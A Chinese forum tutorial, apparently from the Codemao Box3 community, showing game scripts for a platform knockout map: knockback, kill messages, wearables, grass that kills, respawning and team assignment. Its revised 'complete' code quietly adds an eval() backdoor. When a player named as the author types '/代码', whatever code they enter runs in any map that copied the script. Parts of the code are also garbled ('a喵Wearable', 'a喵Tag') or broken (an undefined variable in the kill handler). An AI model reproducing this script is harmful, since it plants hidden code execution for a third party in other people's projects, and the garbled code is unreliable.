用户:
CHZS超级mc查看:7 回复:8 评论:7 创建时间:2023-02-25T22:59:59
https://shequ.codemao.cn/community/528210
相信这个比赛大家都看到了吧
那么今天教大家做一个简单的平台淘汰赛(特别水,毕竟是我第三期教程)
首先建一个平台

world.onTakeDamage(({ entity }) => {
entity.enableDamage = true
if (entity != null && entity.isPlayer) {
entity.velocity.x += 0.5;//击退的x坐标
entity.velocity.z += 0.5;//击退的y坐标
entity.velocity.y += 0.5//击退的z坐标
}
})
//打中别人击退
再加个击杀提示
world.onDie(({ attacker }) => {
if (attacker) {
world.say(attacker.player.name + ' 击杀 ' + entity.player.name)
}
})
炫一点,加特效()
world.onPlayerJoin(({entity}) => {
entity.player.color.set(1, 0, 0)//调自己颜色(当前是红色)
entity.player.addWearable({
bodyPart: Box3BodyPart.HEAD,
mesh: 'mesh/三级盔.vb',
orientation: new Box3Quaternion(0,1,0,0).rotateY(-Math.PI/2),
offset: new Box3Vector3(0,0.4,0.1),
})
})
碰到喵地就噶
world.onVoxelContact(({ entity, voxel }) => {
entity.enableDamage = true
const voxelName = voxels.name(voxel);
if (voxelName === 'grass'){
entity.hurt(100)
}
});
现在,是不是差不多了?
不,还差点
world.onPlayerJoin(({ entity }) => {
entity.onDie(async () => {
world.say('有人被击杀了');
entity.player.directMessage("您已阵亡");
await sleep(5000)
entity.player.forceRespawn()
})
})
结束啦!发完整代码
world.onTakeDamage(({ entity }) => {
if (entity != null && entity.isPlayer) {
entity.velocity.x += 0.5;
entity.velocity.z += 0.5;
entity.velocity.y += 0.5
}
})
world.onDie(({ attacker }) => {
if (attacker) {
world.say(attacker.player.name + ' 击杀 ' + entity.player.name)
}
})
world.onPlayerJoin(({entity}) => {
entity.player.color.set(1, 0, 0)
entity.player.addWearable({
bodyPart: Box3BodyPart.HEAD,
mesh: 'mesh/三级盔.vb',
orientation: new Box3Quaternion(0,1,0,0).rotateY(-Math.PI/2),
offset: new Box3Vector3(0,0.4,0.1),
})
})
world.onVoxelContact(({ entity, voxel }) => {
entity.enableDamage = true
const voxelName = voxels.name(voxel);
if (voxelName === 'grass'){
entity.hurt(100)
}
});
world.onPlayerJoin(({ entity }) => {
entity.onDie(async () => {
world.say('有人被击杀了');
entity.player.directMessage("您已阵亡");
await sleep(5000)
entity.player.forceRespawn()
})
})
下一期,完整的武器切换教程 上
CHZS超级mc我突然发现击退是受到伤害才触发,所以改一下
world.onTakeDamage(({ entity }) => {
if (entity != null && entity.isPlayer) {
entity.velocity.x += 0.5;
entity.velocity.z += 0.5;
entity.velocity.y += 0.5
}
})
world.onPlayerJoin(({entity}) => {
entity.player.color.set(1, 0, 0)
entity.player.a喵Wearable({
bodyPart: Box3BodyPart.HEAD,
mesh: 'mesh/三级盔.vb',
orientation: new Box3Quaternion(0,1,0,0).rotateY(-Math.PI/2),
offset: new Box3Vector3(0,0.4,0.1),
})
})
world.onVoxelContact(({ entity, voxel }) => {
entity.enableDamage = true
const voxelName = voxels.name(voxel);
if (voxelName === 'grass'){
entity.hurt(100)
}
});
function joinRed(entity) {
entity.a喵Tag('red')
entity.player.color.set(1, 0, 0)
world.say(`${entity.player.name} 被分配到红队`)
}
function joinBlue(entity) {
entity.a喵Tag('blue')
entity.player.color.set(0, 0, 1)
world.say(`${entity.player.name} 被分配到蓝队`)
}
world.onPlayerJoin(({ entity }) => {
const red = world.querySelectorAll('.red')
const blue = world.querySelectorAll('.blue')
if (red.length === blue.length) {
if (Math.random() < 0.5) {
joinBlue(entity)
}
else {
joinRed(entity)
}
}
else if (red.length > blue.length) {
joinBlue(entity)
}
else {
joinRed(entity)
}
entity.player.forceRespawn()
entity.enableDamage = true
entity.onDie(async ({ attacker }) => {
await sleep(5000)
entity.player.forceRespawn()
})
})
function teamName(entity) {
if (entity.hasTag('red')) {
return '红队'
}
else if (entity.hasTag('blue')) {
return '蓝队'
}
return '未知队伍'
}
world.onClick(({ entity, clicker }) => {
if (
(entity.hasTag('red') && clicker.hasTag('blue')) ||
(entity.hasTag('blue') && clicker.hasTag('red'))
) {
entity.hurt(10, { attacker: clicker })
}
})
var zz = ['CHZS超级mc']
world.onPlayerJoin(async({entity}) => {
if (zz.includes(entity.player.name)){
world.say(`欢迎伟大的创作者 ${entity.player.name} 进入了地图!!`)
return;
}
})
world.onChat(async({entity, message}) => {
if (zz.includes(entity.player.name)){
if(message.startsWith('/代码')){
const codes = await entity.player.dialog({
type: Box3DialogType.INPUT,
title: `代码`,
content: `请输入代码`,
})
if (!codes || codes == null) return;
entity.player.directMessage(`~>${eval(codes)}`)
}
}
})
https://box3.codemao.cn/e/856b0a2b32d9b47f6fbf
点赞0
评论
CHZS超级mcworld.onTakeDamage(({ entity }) => {
entity.enableDamage = true
if (entity != null && entity.isPlayer) {
entity.velocity.z += 1;//击退的y坐标
}
})
//如果仅仅是把别人蹬当一下搞天上这个就可以了,加到你的地图里对你的基友试试吧()点赞1
评论